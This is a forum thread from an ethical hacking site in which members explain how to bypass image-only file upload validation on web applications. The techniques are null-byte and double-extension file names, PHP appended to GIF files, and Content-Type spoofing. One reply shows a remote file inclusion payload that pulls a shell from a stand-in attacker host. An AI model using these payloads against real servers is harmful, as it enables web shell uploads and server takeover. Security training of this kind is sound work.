Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 92 guests and 1 member online
EH-Net News Feeds
Latest Additions
 
Advertisement

You are here: Home arrow Forum arrow Ethical Hacking Discussions and Related Certificationsarrow Web Applicationsarrow Bypassing File Upload Restrictions
EH-Net
May 26, 2012, 08:31:27 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Advertise on EH-Net!! - Reasonable Rates, Highly Targeted Audience.
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: Bypassing File Upload Restrictions  (Read 3024 times)
0 Members and 2 Guests are viewing this topic.
T_Bone
Full Member
***
Offline Offline

Posts: 199


View Profile
« on: December 20, 2011, 02:44:57 PM »

Hi All

Ok, so I am trying to bypass the validation on a file upload form. It is only supposed to accept .jpg (and may effectively work). The images get uploaded to the webroot so would be great to bypass it.  I have tried changing the MIME type, saving a script as .jpg, I believe you can add the .jpg header to a file which may work, any other suggestions?
Logged
alan
Newbie
*
Offline Offline

Posts: 47


View Profile
« Reply #1 on: December 20, 2011, 03:11:13 PM »

Try adding a null character - test.php%00.jpg

Also check OWASP site https://www.owasp.org/index.php/Unrestricted_File_Upload for plenty more options I wouldn't have immediately thought of, like using alternate data streams. Smiley
Logged
Seen
Jr. Member
**
Offline Offline

Posts: 96


View Profile
« Reply #2 on: December 21, 2011, 01:16:28 AM »

I came across a lab on eLearnSecurity where you could bypass the restriction by just making sure ".jpg" was in the filename.  I though that was a pretty cool bypass.

So you could try naming the file something like "file.jpg.php" for example.
Logged

Sec+, eCPPT
Jamie.R
Hero Member
*****
Offline Offline

Posts: 626



View Profile WWW
« Reply #3 on: December 23, 2011, 03:35:17 PM »

seen was going to recommended the same.
Logged

OSWP | eCPPT | HackingDojo Nidan
www.jamierougive.co.uk
MaXe
Hero Member
*****
Offline Offline

Posts: 507


I've just upgraded myself to a cyborg muahahaa!!1


View Profile WWW
« Reply #4 on: December 27, 2011, 10:58:12 AM »

The null-byte trick will only work if nullbytes are not filtered from the input. The reason why a nullbyte is used, is because an include or require function is often made somewhat like this:
Quote
$config = $_GET['config']. ".conf"; require_once($config);

In this case, the ?config parameter / argument is most likely vulnerable unless there's a "catch-all" GET-request function sanitizing them all.

As you want to include a php file, which the target server should be able to read and parse, you should add a %00 byte which there are some variations of.

If the parameter is like this: ?config=http://evil.tld/shell.txt

The actual $config variable will become: http://evil.tld/shell.txt.conf, but by adding a %00 byte (?config=http://evil.tld/shell.txt%00) the webserver will stop reading the input after the null-byte and the $config variable will automatically be http://evil.tld/shell.txt as the rest is stripped away this one time.

In case of file upload forms, files named like: file.jpg.php is often enough. At least it was, but nowadays it is only the most poorly secured sites that enable this attack, meaning you may have to add an actual file header in case the file is processed and needs to actually be an image.

In this case, you can take any gif file, and append your PHP data to it and then upload it. The image should still be valid even if it's processed. If it's resized however, the php data may be lost.

It could theoretically also be possible to name the file file.php%00.jpg, however it may not work depending on how the file is read, but also how your client sends the data. (The client may sanitize the % sign as well.)

Even though I haven't said much than what Seen and alan said, I thought I'd say it anyway in my own words  Smiley
Logged

I'm an InterN0T'er
nytfox
Newbie
*
Offline Offline

Posts: 20



View Profile
« Reply #5 on: January 29, 2012, 01:48:30 AM »

I agree with what Maxxe said . but include to that . all you have to do is misdirect the vailidations on the upload scrtipt . like "Content-Type" when your uploading a image you might be having a application as type . change it to image/jpeg . like wise their are lota ways you can upload a execution file as a image .

still some scripts cruch the image and make thumbs and change resolutions . if the image is getting cruch like that . you might have a issue upload the image . but still their few php function issues, I have put a ref link bellow

http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/
 
Logged

Unlike others I love NULLS
http://treasuresec.com
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.16 | SMF © 2011, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.289 seconds with 21 queries.
 

gk_static-ad_feb2012.jpg
Global Knowledge: Build Security Skills to Protect & Defend

els_130x200fixed2.gif
eLearnSecurity Student Course Now Live!
5% Off with Code
ELS-EH-5

SANS Deals 4 EH-Netters
$150 OFF Any SANS Course in Any Format!
Coupon Code: EHN_Connect Including SANS Security West 2012 & SANSFIRE 2012
Recent Forum Topics

cbtnuggets_logo_125.jpg
Try CBT Nuggets Free!

Vote For EH-Net

Add to Technorati Favorites
technorati fave

 
         
Advertisement

© 2012 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.